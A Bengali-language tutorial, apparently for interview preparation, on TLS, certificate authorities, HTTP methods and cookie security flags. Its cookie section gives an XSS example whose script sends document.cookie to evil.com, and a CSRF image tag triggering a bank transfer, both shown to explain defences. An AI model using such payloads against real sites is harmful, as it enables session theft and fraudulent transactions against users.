āϰāĻŋāĻ¸ā§āĻ• āĻŽāύ⧇ āĻ•āϰ⧇ āφāĻĒāύāĻžāϕ⧇ āϏāϤāĻ°ā§āĻ• āĻ•āϰ⧇āĨ¤


đŸ›Ąī¸ 63. What is SSL/TLS, and how does it secure data during transmission?​

TLS āĻšāϞ⧋ internet āĻāϰ security layer — data āĻĒāĻžāĻ āĻžāύ⧋āϰ āφāϗ⧇ encrypt āĻ•āϰ⧇, āĻĒ⧌āρāĻ›āĻžāύ⧋āϰ āĻĒāϰ⧇ decrypt āĻ•āϰ⧇āĨ¤ āϕ⧇āω āĻŽāĻžāĻāĻĒāĻĨ⧇ āĻĻ⧇āĻ–āϞ⧇āĻ“ āĻŦ⧁āĻāϤ⧇ āĻĒāĻžāϰāĻŦ⧇ āύāĻžāĨ¤

đŸ›Ąī¸ TLS āϕ⧀ āϕ⧀ Problem Solve āĻ•āϰ⧇?​

Without TLS:
Attacker āĻŽāĻžāĻāĻĒāĻĨ⧇ āĻŦāϏ⧇ āφāϛ⧇ (Man in the Middle)
You → "password=abc123" → [ATTACKER SEES!] → Server
😱
With TLS:
You → "x#9$kL@2mN!" → [ATTACKER SEES GIBBERISH] → Server
🔒

TLS āϤāĻŋāύāϟāĻž guarantee āĻĻ⧇āϝāĻŧ:

1. 🔒 Confidentiality  → āϕ⧇āω āĻĒāĻĄāĻŧāϤ⧇ āĻĒāĻžāϰāĻŦ⧇ āύāĻž
2. ✅ Integrity → āϕ⧇āω āĻŦāĻĻāϞāĻžāϤ⧇ āĻĒāĻžāϰāĻŦ⧇ āύāĻž
3. đŸĒĒ Authentication → āϏāĻ¤ā§āϝāĻŋāχ google.com āĻ•āĻŋāύāĻž verify

🔄 TLS āϕ⧀āĻ­āĻžāĻŦ⧇ āĻ•āĻžāϜ āĻ•āϰ⧇ — Step by Step​

Step 1: Certificate — āĻĒāϰāĻŋāϚāϝāĻŧ āĻĒā§āϰāĻŽāĻžāĻŖâ€‹

Server āĻāĻ•āϟāĻž Digital Certificate āĻĻ⧇āĻ–āĻžāϝāĻŧ:

┌─────────────────────────────────────┐
│ TLS Certificate │
├─────────────────────────────────────┤
│ Subject: www.google.com │
│ Issued by: DigiCert Inc │
│ Valid: Jan 2026 - Jan 2027 │
│ Public Key: [RSA 2048-bit key] │
│ Signature: [DigiCert āĻāϰ signature] │
└─────────────────────────────────────┘

Browser verify āĻ•āϰ⧇:

DigiCert trusted CA? ✅
Signature valid? ✅
Domain match? ✅
Expired? ❌ āύāĻž
→ Certificate trusted! ✅

CA (Certificate Authority) āĻšāϞ⧋ trusted third party — DigiCert, Let's Encrypt, Comodo āχāĻ¤ā§āϝāĻžāĻĻāĻŋāĨ¤


Step 2: Key Exchange — Secret Share āĻ•āĻ°ā§‹â€‹

āĻĻ⧁āϜāύ āĻŽāĻŋāϞ⧇ āĻāĻ•āϟāĻž shared secret āĻŦāĻžāύāĻžāϝāĻŧ — āϕ⧇āω āϜāĻžāύāϤ⧇ āĻĒāĻžāϰ⧇ āύāĻžāĨ¤

Step 3: Encryption — Data Scramble āĻ•āĻ°ā§‹â€‹

Shared secret āĻĨ⧇āϕ⧇ symmetric key āĻŦāĻžāύāĻžāϝāĻŧ, āϤāĻžāϰāĻĒāϰ data encrypt āĻ•āϰ⧇:

Plaintext:  "password=hello123"
Key: [shared secret āĻĨ⧇āϕ⧇ derived]
Algorithm: AES-256-GCM
Ciphertext: "7f3#kL9$mN2@pQ8..."

Receiver āĻāĻ•āχ key āĻĻāĻŋāϝāĻŧ⧇ decrypt āĻ•āϰ⧇:

"7f3#kL9$mN2@pQ8..." → "password=hello123" ✅

Step 4: MAC — Integrity Check​

Data āĻŦāĻĻāϞāĻžāύ⧋ āĻšāϝāĻŧ⧇āϛ⧇ āĻ•āĻŋāύāĻž detect āĻ•āϰāϤ⧇ Message Authentication Code:

Data āĻĒāĻžāĻ āĻžāύ⧋āϰ āϏāĻŽāϝāĻŧ:
MAC = HMAC(data + secret key)
āĻĒāĻžāĻ āĻžāĻ“: [data] + [MAC]
Receiver āĻ:
MAC recompute āĻ•āϰ⧋
Match āĻ•āϰāϞ⧇ → data intact ✅
Match āύāĻž āĻ•āϰāϞ⧇ → āϕ⧇āω āĻŦāĻĻāϞ⧇āϛ⧇! ❌ DROP

âš–ī¸ Symmetric vs Asymmetric — āĻĻ⧁āĻŸā§‹āχ āϞāĻžāϗ⧇ āϕ⧇āύ?​

Asymmetric (Public/Private Key):
✅ Key securely exchange āĻ•āϰāĻž āϝāĻžāϝāĻŧ
❌ āĻ…āύ⧇āĻ• slow (100x slower)
→ āĻļ⧁āϧ⧁ handshake āĻ use āĻšāϝāĻŧ

Symmetric (Shared Key):
✅ āĻ…āύ⧇āĻ• fast
❌ Key āφāϗ⧇ āĻĨ⧇āϕ⧇ share āĻ•āϰāϤ⧇ āĻšāϝāĻŧ
→ actual data encrypt āĻ use āĻšāϝāĻŧ

TLS āĻĻ⧁āĻŸā§‹ combine āĻ•āϰ⧇:
Asymmetric āĻĻāĻŋāϝāĻŧ⧇ → Symmetric key exchange āĻ•āϰ⧋
Symmetric āĻĻāĻŋāϝāĻŧ⧇ → Data encrypt āĻ•āϰ⧋ 🚀

🔄 Full TLS 1.3 Flow​

CLIENT                          SERVER
│ │
│──── ClientHello ─────────────â–ļ│
│ + DH Key Share │
│ │
│◀─── ServerHello ──────────────│
│◀─── Certificate ──────────────│ "āĻāχ āφāĻŽāĻžāϰ āĻĒāϰāĻŋāϚāϝāĻŧ"
│◀─── Finished (encrypted) ─────│
│ │
│ Certificate verify āĻ•āϰ⧋ │
│ Shared secret compute āĻ•āϰ⧋ │
│ │
│──── Finished ────────────────â–ļ│
│──── Encrypted Data ──────────â–ļ│ 🔒
│◀─── Encrypted Response ───────│ 🔒

🔐 HTTPS = HTTP + TLS​

HTTP  → Plain text, āϕ⧇āω āĻĻ⧇āĻ–āϤ⧇ āĻĒāĻžāϝāĻŧ
HTTPS → TLS āĻāϰ āϭ⧇āϤāϰ⧇ HTTP, encrypted
URL: http:// → Port 80, no encryption
https:// → Port 443, TLS encrypted

Browser āĻ āĻĻ⧇āĻ–ā§‹:

🔒 https://google.com  → TLS active, safe
âš ī¸ http://google.com → No encryption, careful!

đŸ›Ąī¸ Common Attacks TLS āĻĨ⧇āϕ⧇ āĻŦāĻžāρāϚāĻžāϝāĻŧ​

Attack                  TLS āĻāϰ Defense
────────────────────────────────────────────────
Man-in-the-Middle → Certificate verify āĻ•āϰ⧇
Eavesdropping → Encryption
Data Tampering → MAC/HMAC integrity check
Replay Attack → Session-unique nonces
Downgrade Attack → TLS 1.3 āĻ weak cipher āύ⧇āχ
TLS = āϤāĻŋāύāϟāĻž āϜāĻŋāύāĻŋāϏ āύāĻŋāĻļā§āϚāĻŋāϤ āĻ•āϰ⧇
đŸĒĒ Authentication → "āϤ⧁āĻŽāĻŋ āĻ•āĻŋ āϏāĻ¤ā§āϝāĻŋāχ google.com?"
Certificate āĻĻāĻŋāϝāĻŧ⧇ prove āĻ•āϰ⧋
🔒 Confidentiality → "āϕ⧇āω āĻĒāĻĄāĻŧāϤ⧇ āĻĒāĻžāϰāĻŦ⧇ āύāĻž"
AES encryption āĻĻāĻŋāϝāĻŧ⧇
✅ Integrity → "āϕ⧇āω āĻŦāĻĻāϞāĻžāϤ⧇ āĻĒāĻžāϰāĻŦ⧇ āύāĻž"
HMAC āĻĻāĻŋāϝāĻŧ⧇

🆚 What is the difference between SSL and TLS?​

  • SSL: ⧧⧝⧝ā§Ļ āĻāϰ āĻĻāĻļāϕ⧇ āϤ⧈āϰāĻŋ āĻĒā§āϰāĻĨāĻŽ āĻĻāĻŋāϕ⧇āϰ āϏāĻŋāĻ•āĻŋāωāϰāĻŋāϟāĻŋ āĻĒā§āϰ⧋āĻŸā§‹āĻ•āϞ (SSL 2.0, SSL 3.0)āĨ¤ āĻāϗ⧁āϞ⧋āϤ⧇ āĻ…āύ⧇āĻ• āϏāĻŋāĻ•āĻŋāωāϰāĻŋāϟāĻŋ āĻĻ⧁āĻ°ā§āĻŦāϞāϤāĻž āĻŦ⧇āϰ āĻšāĻ“āϝāĻŧāĻžāϰ āĻĒāϰ āĻāϗ⧁āϞ⧋ āĻĒ⧁āϰ⧋āĻĒ⧁āϰāĻŋ āĻŦāĻžāϤāĻŋāϞ (Deprecated) āĻ˜ā§‹āώāĻŖāĻž āĻ•āϰāĻž āĻšāϝāĻŧ⧇āϛ⧇āĨ¤
  • TLS: āĻāϟāĻŋ āĻŽā§‚āϞāϤ SSL āĻāϰāχ āφāĻĒāĻĄā§‡āϟ āĻ•āϰāĻž, āύāϤ⧁āύ āĻāĻŦāĻ‚ āĻ…āύ⧇āĻ• āĻŦ⧇āĻļāĻŋ āϏāĻŋāĻ•āĻŋāωāϰ āĻ­āĻžāĻ°ā§āϏāύ (āĻŦāĻ°ā§āϤāĻŽāĻžāύ⧇ TLS 1.2 āĻāĻŦāĻ‚ 1.3 āĻŦā§āϝāĻŦāĻšā§ƒāϤ āĻšāϝāĻŧ)āĨ¤ āϏāĻŦāĻžāχ āĻāĻ–āύāĻ“ āĻŽā§āϖ⧇ "SSL Certificate" āĻŦāϞāϞ⧇āĻ“ āϭ⧇āϤāϰ⧇ āϭ⧇āϤāϰ⧇ āφāϏāϞ⧇ āϏāĻŦāĻžāχ TLS āĻĒā§āϰ⧋āĻŸā§‹āĻ•āϞāχ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāϛ⧇āĨ¤

🔏 Explain the difference between Symmetric and Asymmetric encryption during a TLS handshake​

  • Asymmetric Encryption: āĻāĻ–āĻžāύ⧇ āϚāĻžāĻŦāĻŋ āĻĻ⧁āϟāĻŋ āĻĨāĻžāĻ•ā§‡â€”āĻāĻ•āϟāĻŋ Public Key (āϏāĻŦāĻžāχ āϜāĻžāύ⧇), āφāϰ⧇āĻ•āϟāĻŋ Private Key (āĻļ⧁āϧ⧁ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϜāĻžāύ⧇)āĨ¤ āĻĒāĻžāĻŦāϞāĻŋāĻ• āϕ⧀ āĻĻāĻŋāϝāĻŧ⧇ āĻāύāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰāĻž āĻĄā§‡āϟāĻž āĻļ⧁āϧ⧁ āĻĒā§āϰāĻžāχāϭ⧇āϟ āϕ⧀ āĻĻāĻŋāϝāĻŧ⧇āχ āĻĄāĻŋāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰāĻž āϝāĻžāϝāĻŧāĨ¤ āĻāχ āĻĒāĻĻā§āϧāϤāĻŋāϟāĻŋ āĻ¸ā§āϞ⧋āĨ¤ āϤāĻžāχ TLS āĻšā§āϝāĻžāĻ¨ā§āĻĄāĻļ⧇āϕ⧇āϰ āĻļ⧁āϰ⧁āϤ⧇ āĻļ⧁āϧ⧁ āϏāĻŋāĻ•ā§āϰ⧇āϟ āĻļ⧇āϝāĻŧāĻžāϰāĻŋāĻ‚ āĻŦāĻž āϏ⧇āĻļāύ āϕ⧀ (Session Key) āĻŦāĻŋāύāĻŋāĻŽāϝāĻŧ⧇āϰ āĻ•āĻžāϜ āĻ•āϰāϤ⧇ āĻāχ āĻĒāĻĻā§āϧāϤāĻŋ āĻŦā§āϝāĻŦāĻšā§ƒāϤ āĻšāϝāĻŧāĨ¤
  • Symmetric Encryption: āĻāĻ–āĻžāύ⧇ āϤāĻžāϞāĻž āĻāĻŦāĻ‚ āϚāĻžāĻŦāĻŋ āĻāĻ•āϟāĻžāχāĨ¤ āĻ…āĻ°ā§āĻĨāĻžā§Ž āϝ⧇ āϚāĻžāĻŦāĻŋ āĻĻāĻŋāϝāĻŧ⧇ āĻāύāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰāĻž āĻšāϝāĻŧ, āĻ“āχ āĻāĻ•āχ āϚāĻžāĻŦāĻŋ āĻĻāĻŋāϝāĻŧ⧇ āĻĄāĻŋāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰāϤ⧇ āĻšāϝāĻŧāĨ¤ āĻāϟāĻŋ āĻ…āύ⧇āĻ• āĻĢāĻžāĻ¸ā§āϟāĨ¤ āĻšā§āϝāĻžāĻ¨ā§āĻĄāĻļ⧇āϕ⧇āϰ āĻļ⧇āώ⧇ āωāĻ­āϝāĻŧ āĻĒāĻ•ā§āώ āĻ“āχ āĻļ⧇āϝāĻŧāĻžāϰ āĻ•āϰāĻž āϚāĻžāĻŦāĻŋ (Session Key) āĻĻāĻŋāϝāĻŧ⧇ āĻŦāĻžāĻ•āĻŋ āϏāĻŦ āĻĄā§‡āϟāĻž āĻāχ āϏāĻŋāĻŽā§‡āĻŸā§āϰāĻŋāĻ• āĻĒāĻĻā§āϧāϤāĻŋāϤ⧇ āφāĻĻāĻžāύ āĻĒā§āϰāĻĻāĻžāύ āĻ•āϰāϤ⧇ āĻĨāĻžāϕ⧇āĨ¤

📑 64. What are request methods, HTTPS handshake, and Certificate Authorities?​

  • Request Methods: āĻāϗ⧁āϞ⧋ āĻŦ⧁āĻāĻžāϝāĻŧ āĻ•ā§āϞāĻžāϝāĻŧ⧇āĻ¨ā§āϟ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āĻ•āĻžāϛ⧇ āϕ⧀ āϧāϰāϪ⧇āϰ āĻāĻ•āĻļāύ āĻ•āϰāϤ⧇ āϚāĻžāĻšā§āϛ⧇ (āϝ⧇āĻŽāύ GET, POST, DELETE)āĨ¤
  • Certificate Authority (CA): āχāĻ¨ā§āϟāĻžāϰāύ⧇āĻŸā§‡ āϝ⧇ āϕ⧇āω āϚāĻžāχāϞ⧇ āύāĻŋāĻœā§‡ āύāĻŋāĻœā§‡ āĻāĻ•āϟāĻŋ āĻĢ⧇āĻ• āϏāĻžāĻ°ā§āϟāĻŋāĻĢāĻŋāϕ⧇āϟ āĻŦāĻžāύāĻŋāϝāĻŧ⧇ āĻŦāϞāϤ⧇ āĻĒāĻžāϰ⧇ "āφāĻŽāĻŋāχ āĻŦā§āϝāĻžāĻ‚āĻ• āĻāĻļāĻŋāϝāĻŧāĻž"āĨ¤ CA (āϝ⧇āĻŽāύ Let's Encrypt, DigiCert) āĻšāϞ⧋ āĻĨāĻžāĻ°ā§āĻĄ-āĻĒāĻžāĻ°ā§āϟāĻŋ āĻŦāĻŋāĻļā§āĻŦāĻ¸ā§āϤ āĻĒā§āϰāϤāĻŋāĻˇā§āĻ āĻžāύ, āϝāĻžāϰāĻž āϭ⧇āϰāĻŋāĻĢāĻžāχ āĻ•āϰ⧇ āφāϏāϞ āϏāĻžāĻ°ā§āϟāĻŋāĻĢāĻŋāϕ⧇āϟ āχāĻ¸ā§āϝ⧁ āĻ•āϰ⧇ āĻĻ⧇āϝāĻŧāĨ¤ āφāϰ āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇āϰ āϭ⧇āϤāϰ āĻāχ CA āϕ⧋āĻŽā§āĻĒāĻžāύāĻŋāϗ⧁āϞ⧋āϰ āϞāĻŋāĻ¸ā§āϟ āφāϗ⧇ āĻĨ⧇āϕ⧇āχ āĻŸā§āϰāĻžāĻ¸ā§āĻŸā§‡āĻĄ āĻšāĻŋāϏ⧇āĻŦ⧇ āĻŦāϏāĻžāύ⧋ āĻĨāĻžāϕ⧇āĨ¤

đŸĒ 65. What are cookies, and how are they used in HTTP/HTTPS communication?​

Cookie āĻšāϞ⧋ āϛ⧋āĻŸā§āϟ data piece āϝāĻž Server browser āĻ āϰ⧇āϖ⧇ āϝāĻžāϝāĻŧ — āĻĒāϰ⧇āϰ request āĻ browser āϏ⧇āϟāĻž āĻĢ⧇āϰāϤ āĻĒāĻžāĻ āĻžāϝāĻŧāĨ¤ āĻāĻ­āĻžāĻŦ⧇ server "āĻŽāύ⧇ āϰāĻžāϖ⧇" āϤ⧁āĻŽāĻŋ āϕ⧇āĨ¤

HTTP stateless — āĻĒā§āϰāϤāĻŋāϟāĻž request āφāϞāĻžāĻĻāĻž, server āĻ•āĻŋāϛ⧁ āĻŽāύ⧇ āϰāĻžāϖ⧇ āύāĻž:

Request 1: "āφāĻŽāĻŋ login āĻ•āϰāϞāĻžāĻŽ" → Server: ✅
Request 2: "āφāĻŽāĻžāϰ profile āĻĻāĻžāĻ“" → Server: "āϤ⧁āĻŽāĻŋ āϕ⧇??" 😕
HTTP āύāĻŋāĻœā§‡ āĻŽāύ⧇ āϰāĻžāĻ–āϤ⧇ āĻĒāĻžāϰ⧇ āύāĻž!

Cookie āĻāχ āϏāĻŽāĻ¸ā§āϝāĻž solve āĻ•āϰ⧇:

Login → Server cookie āĻĻāĻŋāϞ⧋ → Browser save āĻ•āϰāϞ⧋
āĻĒāϰ⧇āϰ request → Browser cookie āĻĒāĻžāĻ āĻžāϞ⧋ → Server āϚāĻŋāύāϞ⧋ ✅

HTTP/1.1 200 OK
Set-Cookie: session_id=abc123; Max-Age=3600; Secure; HttpOnly
Set-Cookie: theme=dark; Max-Age=86400
Set-Cookie: lang=bn; Path=/
GET /dashboard HTTP/1.1
Host: example.com
Cookie: session_id=abc123; theme=dark; lang=bn

āĻĒā§āϰāϤāĻŋāϟāĻž request āĻ automatically āĻĒāĻžāĻ āĻžāϝāĻŧ!


Set-Cookie: session_id=abc123; Max-Age=3600; Domain=example.com; Path=/; Secure; HttpOnly; SameSite=Strict
├── Name=Value → session_id=abc123 (actual data)
├── Max-Age → 3600 seconds (āĻ•āϤāĻ•ā§āώāĻŖ āĻĨāĻžāĻ•āĻŦ⧇)
├── Domain → example.com (āϕ⧋āύ domain āĻ āĻĒāĻžāĻ āĻžāĻŦ⧇)
├── Path → / (āϕ⧋āύ path āĻ āĻĒāĻžāĻ āĻžāĻŦ⧇)
├── Secure → HTTPS only (HTTP āϤ⧇ āĻĒāĻžāĻ āĻžāĻŦ⧇ āύāĻž)
├── HttpOnly → JS access āύ⧇āχ (XSS āĻĨ⧇āϕ⧇ āĻŦāĻžāρāϚāĻžāϝāĻŧ)
└── SameSite → Strict/Lax/None (CSRF āĻĨ⧇āϕ⧇ āĻŦāĻžāρāϚāĻžāϝāĻŧ)

Set-Cookie: session_id=abc123
(No Max-Age, No Expires)
→ Browser āĻŦāĻ¨ā§āϧ āĻšāϞ⧇āχ delete āĻšāϝāĻŧ
→ Temporary, RAM āĻ āĻĨāĻžāϕ⧇
→ Login session āĻāϰ āϜāĻ¨ā§āϝ
Set-Cookie: remember_me=xyz; Max-Age=2592000
↑
30 days
→ Browser āĻŦāĻ¨ā§āϧ āĻšāϞ⧇āĻ“ āĻĨāĻžāϕ⧇
→ Disk āĻ save āĻšāϝāĻŧ
→ "Remember me" feature āĻāϰ āϜāĻ¨ā§āϝ
Set-Cookie: token=abc; Secure
→ āĻļ⧁āϧ⧁ HTTPS connection āĻ āĻĒāĻžāĻ āĻžāĻŦ⧇
→ HTTP āϤ⧇ āĻĒāĻžāĻ āĻžāĻŦ⧇ āύāĻž
→ Man-in-the-middle āĻĨ⧇āϕ⧇ āĻŦāĻžāρāϚāĻžāϝāĻŧ
Set-Cookie: session=abc; HttpOnly
→ JavaScript āĻ access āύ⧇āχ!
document.cookie → session āĻĻ⧇āĻ–āĻžāĻŦ⧇ āύāĻž ✅
āϕ⧇āύ āĻĻāϰāĻ•āĻžāϰ?
XSS attack āĻ attacker JS inject āĻ•āϰ⧇ cookie āϚ⧁āϰāĻŋ āĻ•āϰ⧇āĨ¤
HttpOnly āĻĨāĻžāĻ•āϞ⧇ JS āĻĻāĻŋāϝāĻŧ⧇ access āĻ•āϰāĻžāχ āϝāĻžāĻŦ⧇ āύāĻž! ✅
SameSite=Strict → āĻļ⧁āϧ⧁ same site āĻāϰ request āĻ āĻĒāĻžāĻ āĻžāĻ“
SameSite=Lax → Same site + top-level navigation
SameSite=None → āϏāĻŦ āϜāĻžāϝāĻŧāĻ—āĻžāϝāĻŧ (Secure āϞāĻžāĻ—āĻŦ⧇ āϏāĻžāĻĨ⧇)
CSRF attack āĻĨ⧇āϕ⧇ āĻŦāĻžāρāϚāĻžāϝāĻŧ!

ā§§. Authentication / Session​
Login āĻ•āϰāϞ⧇:
Server → Set-Cookie: session_id=xyz123; HttpOnly; Secure
āĻĒāϰ⧇āϰ request āĻ:
Browser → Cookie: session_id=xyz123
Server → "xyz123 āĻŽāĻžāύ⧇ user=rakib, logged in ✅"
⧍. Personalization​
Theme āĻŦāĻĻāϞāϞ⧇:
Server → Set-Cookie: theme=dark; Max-Age=31536000
āĻĒāϰ⧇ āφāϏāϞ⧇:
Browser → Cookie: theme=dark
Server → Dark mode āĻĻ⧇āĻ–āĻžāĻ“ ✅
ā§Š. Shopping Cart​
Item add āĻ•āϰāϞ⧇:
Set-Cookie: cart=item1,item2,item3
Login āύāĻž āĻ•āϰāϞ⧇āĻ“ cart āĻŽāύ⧇ āĻĨāĻžāϕ⧇ ✅
ā§Ē. Tracking / Analytics​
Google Analytics:
Set-Cookie: _ga=GA1.2.123456789; Max-Age=63072000
āϤ⧋āĻŽāĻžāϰ behavior track āĻ•āϰ⧇:
āϕ⧋āύ page āĻĻ⧇āĻ–āϞ⧇, āĻ•āϤāĻ•ā§āώāĻŖ, āϕ⧋āĻĨāĻž āĻĨ⧇āϕ⧇ āĻāϞ⧇...

ā§§. XSS (Cross-Site Scripting)​
Attacker malicious JS inject āĻ•āϰ⧇:
<script>
fetch('evil.com?cookie=' + document.cookie)
</script>
Cookie āϚ⧁āϰāĻŋ! 😱
Defense: HttpOnly flag ✅
⧍. CSRF (Cross-Site Request Forgery)​
āϤ⧁āĻŽāĻŋ bank.com āĻ logged ināĨ¤
Evil site āĻ āϗ⧇āϞ⧇:
<img src="bank.com/transfer?to=attacker&amount=10000">
Browser automatically cookie āĻĒāĻžāĻ āĻžāϝāĻŧ! 😱
Defense: SameSite=Strict ✅
ā§Š. Man-in-the-Middle​
HTTP connection āĻ cookie plaintext āĻ āϝāĻžāϝāĻŧ:
"Cookie: session_id=abc123" ← attacker āĻĻ⧇āϖ⧇!
Defense: Secure flag + HTTPS ✅

đŸĸ First-Party vs Third-Party Cookies​

āϤ⧁āĻŽāĻŋ āφāϛ⧋: example.com
First-Party Cookie:
Set by: example.com → example.com āĻāχ āĻ•āĻžāĻœā§‡ āϞāĻžāϗ⧇
→ Login, cart, preferences
→ Generally fine ✅
Third-Party Cookie:
Set by: ads.google.com → example.com visit āĻ
→ Cross-site tracking
→ Advertiser āϤ⧋āĻŽāĻžāϕ⧇ āϏāĻŦ āϜāĻžāϝāĻŧāĻ—āĻžāϝāĻŧ follow āĻ•āϰ⧇ 😱
→ Chrome, Firefox āĻ block āĻšāĻšā§āϛ⧇ âš ī¸

Feature      Cookie           LocalStorage    SessionStorage
──────────────────────────────────────────────────────────
Size 4KB 5-10MB 5-10MB
Expiry Manual set Never Tab close āĻ
Server āĻ ✅ Auto send ❌ āύāĻž ❌ āύāĻž
JS Access ✅ (HttpOnly āĻ›āĻžāĻĄāĻŧāĻž) ✅ ✅
Secure Flag ✅ ❌ ❌
Use Case Auth, session App data Temp data

1. First Visit:
Browser ──GET /──────────────â–ļ Server
Browser ◀──200 OK─────────────
◀──Set-Cookie: id=123─
2. Cookie Saved:
Browser 💾 id=123
3. Next Request:
Browser ──GET /dashboard──────â–ļ Server
──Cookie: id=123──────â–ļ
"id=123 = rakib ✅"
◀──200 OK (dashboard)──
4. Logout:
Server → Set-Cookie: id=; Max-Age=0 ← cookie delete!

🧠 āĻŽāύ⧇ āϰāĻžāĻ–ā§‹â€‹

Cookie = Server āĻāϰ āĻĻ⧇āĻ“āϝāĻŧāĻž "āĻĒāϰāĻŋāϚāϝāĻŧāĻĒāĻ¤ā§āϰ" đŸĒĒ
Server āĻĻ⧇āϝāĻŧ → Set-Cookie header
Browser āϰāĻžāϖ⧇ → disk/memory āϤ⧇
Browser āĻĒāĻžāĻ āĻžāϝāĻŧ → āĻĒā§āϰāϤāĻŋāϟāĻž request āĻ automatically
Server āĻšā§‡āύ⧇ → "āĻ“! āϤ⧁āĻŽāĻŋ rakib!"
Security:
HttpOnly → XSS āĻĨ⧇āϕ⧇ āĻŦāĻžāρāĻšā§‹
Secure → HTTP sniffing āĻĨ⧇āϕ⧇ āĻŦāĻžāρāĻšā§‹
SameSite → CSRF āĻĨ⧇āϕ⧇ āĻŦāĻžāρāĻšā§‹ 🔒

āĻĄā§‡āϭ⧇āϞāĻĒāĻžāϰāϰāĻž āϕ⧁āĻ•āĻŋ āϏ⧇āϟ āĻ•āϰāĻžāϰ āϏāĻŽāϝāĻŧ āĻ•āĻŋāϛ⧁ āĻĢā§āĻ˛ā§āϝāĻžāĻ— āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇āύ āϏāĻŋāĻ•āĻŋāωāϰāĻŋāϟāĻŋ āĻŦāĻžāĻĄāĻŧāĻžāϤ⧇:

  • HttpOnly: āĻāχ āϕ⧁āĻ•āĻŋāϟāĻŋ āĻĢā§āϰāĻ¨ā§āϟāĻāĻ¨ā§āĻĄā§‡āϰ āϜāĻžāĻ­āĻžāĻ¸ā§āĻ•ā§āϰāĻŋāĻĒā§āϟ (āϝ⧇āĻŽāύ document.cookie) āĻĻāĻŋāϝāĻŧ⧇ āĻ…ā§āϝāĻžāĻ•ā§āϏ⧇āϏ āĻŦāĻž āϚ⧁āϰāĻŋ āĻ•āϰāĻž āϝāĻžāĻŦ⧇ āύāĻžāĨ¤ āĻāϟāĻŋ āĻļ⧁āϧ⧁ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āχ āϝāĻžāĻŦ⧇āĨ¤ āĻāϟāĻŋ XSS āφāĻ•ā§āϰāĻŽāĻŖ āĻĨ⧇āϕ⧇ āϏ⧇āĻļāύ āĻŸā§‹āϕ⧇āύ āĻŦāĻžāρāϚāĻžāϝāĻŧāĨ¤
  • Secure: āĻāχ āϕ⧁āĻ•āĻŋāϟāĻŋ āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ HTTPS āĻ•āĻžāύ⧇āĻ•āĻļāύ⧇āϰ āĻ“āĻĒāϰ āĻĻāĻŋāϝāĻŧ⧇āχ āĻĒāĻžāϏ āĻšāĻŦ⧇āĨ¤ āĻĒā§āϞ⧇āχāύ HTTP āϤ⧇ āĻŦā§āϰāĻžāωāϜāĻžāϰ āĻāϟāĻŋ āĻĒāĻžāĻ āĻžāĻŦ⧇ āύāĻžāĨ¤
  • SameSite: āĻāϟāĻŋ (āϝ⧇āĻŽāύ SameSite=Strict āĻŦāĻž Lax) āĻŦāϞ⧇ āĻĻ⧇āϝāĻŧ āϝ⧇ āĻāχ āϕ⧁āĻ•āĻŋāϟāĻŋ āĻ…āĻ¨ā§āϝ āϕ⧋āύ⧋ āĻĨāĻžāĻ°ā§āĻĄ-āĻĒāĻžāĻ°ā§āϟāĻŋ āĻĄā§‹āĻŽā§‡āχāύ āĻĨ⧇āϕ⧇ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻāϞ⧇ (Cross-site Request) āĻĒāĻžāĻ āĻžāύ⧋ āĻšāĻŦ⧇ āύāĻžāĨ¤ āĻāϟāĻŋ āĻŽā§‚āϞāϤ CSRF (Cross-Site Request Forgery) āĻ…ā§āϝāĻžāϟāĻžāĻ• āĻĒā§āϰāϤāĻŋāϰ⧋āϧ āĻ•āϰ⧇āĨ¤
  • Session Cookie: āĻāχ āϕ⧁āĻ•āĻŋāϤ⧇ āϕ⧋āύ⧋ āĻŽā§‡āϝāĻŧāĻžāĻĻ āĻŦāĻž Expiration date āϏ⧇āϟ āĻ•āϰāĻž āĻĨāĻžāϕ⧇ āύāĻžāĨ¤ āχāωāϜāĻžāϰ āĻŦā§āϰāĻžāωāϜāĻžāϰ āĻŦāĻž āϏāĻžāχāϟ āĻ•ā§āϞ⧋āϜ āĻ•āϰ⧇ āĻĻāĻŋāϞ⧇āχ āĻŽā§‡āĻŽā§‹āϰāĻŋ āĻĨ⧇āϕ⧇ āĻāχ āϕ⧁āĻ•āĻŋ āĻŽā§āϛ⧇ āϝāĻžāϝāĻŧāĨ¤
  • Persistent Cookie: āĻāϤ⧇ āĻāĻ•āϟāĻŋ āύāĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āϟ Expiration date (āϝ⧇āĻŽāύ ā§§ āĻŽāĻžāϏ) āωāĻ˛ā§āϞ⧇āĻ– āĻĨāĻžāϕ⧇āĨ¤ āĻŦā§āϰāĻžāωāϜāĻžāϰ āĻŦāĻ¨ā§āϧ āĻ•āϰāϞ⧇āĻ“ ā§§ āĻŽāĻžāϏ⧇āϰ āϜāĻ¨ā§āϝ āĻŦā§āϰāĻžāωāϜāĻžāϰ āĻšāĻžāĻ°ā§āĻĄāĻĄāĻŋāĻ¸ā§āϕ⧇ āĻāϟāĻŋ āϏ⧇āĻ­ āĻ•āϰ⧇ āϰāĻžāϖ⧇ ("Remember Me" āĻĢāĻŋāϚāĻžāϰ⧇āϰ āϜāĻ¨ā§āϝ āĻ•āĻžāĻœā§‡ āϞāĻžāϗ⧇)āĨ¤

🚀 66. What is the role of HTTP/2 and HTTP/3 in improving web performance?​

āφāϧ⧁āύāĻŋāĻ• āĻ“āϝāĻŧ⧇āĻŦ āĻĒ⧇āϜ āĻ…āύ⧇āĻ• āĻ­āĻžāϰ⧀, āϤāĻžāϤ⧇ āĻĒā§āϰāϚ⧁āϰ āϏāĻŋāĻāϏāĻāϏ, āĻœā§‡āĻāϏ (JS) āĻāĻŦāĻ‚ āĻ›āĻŦāĻŋ āĻĨāĻžāϕ⧇āĨ¤

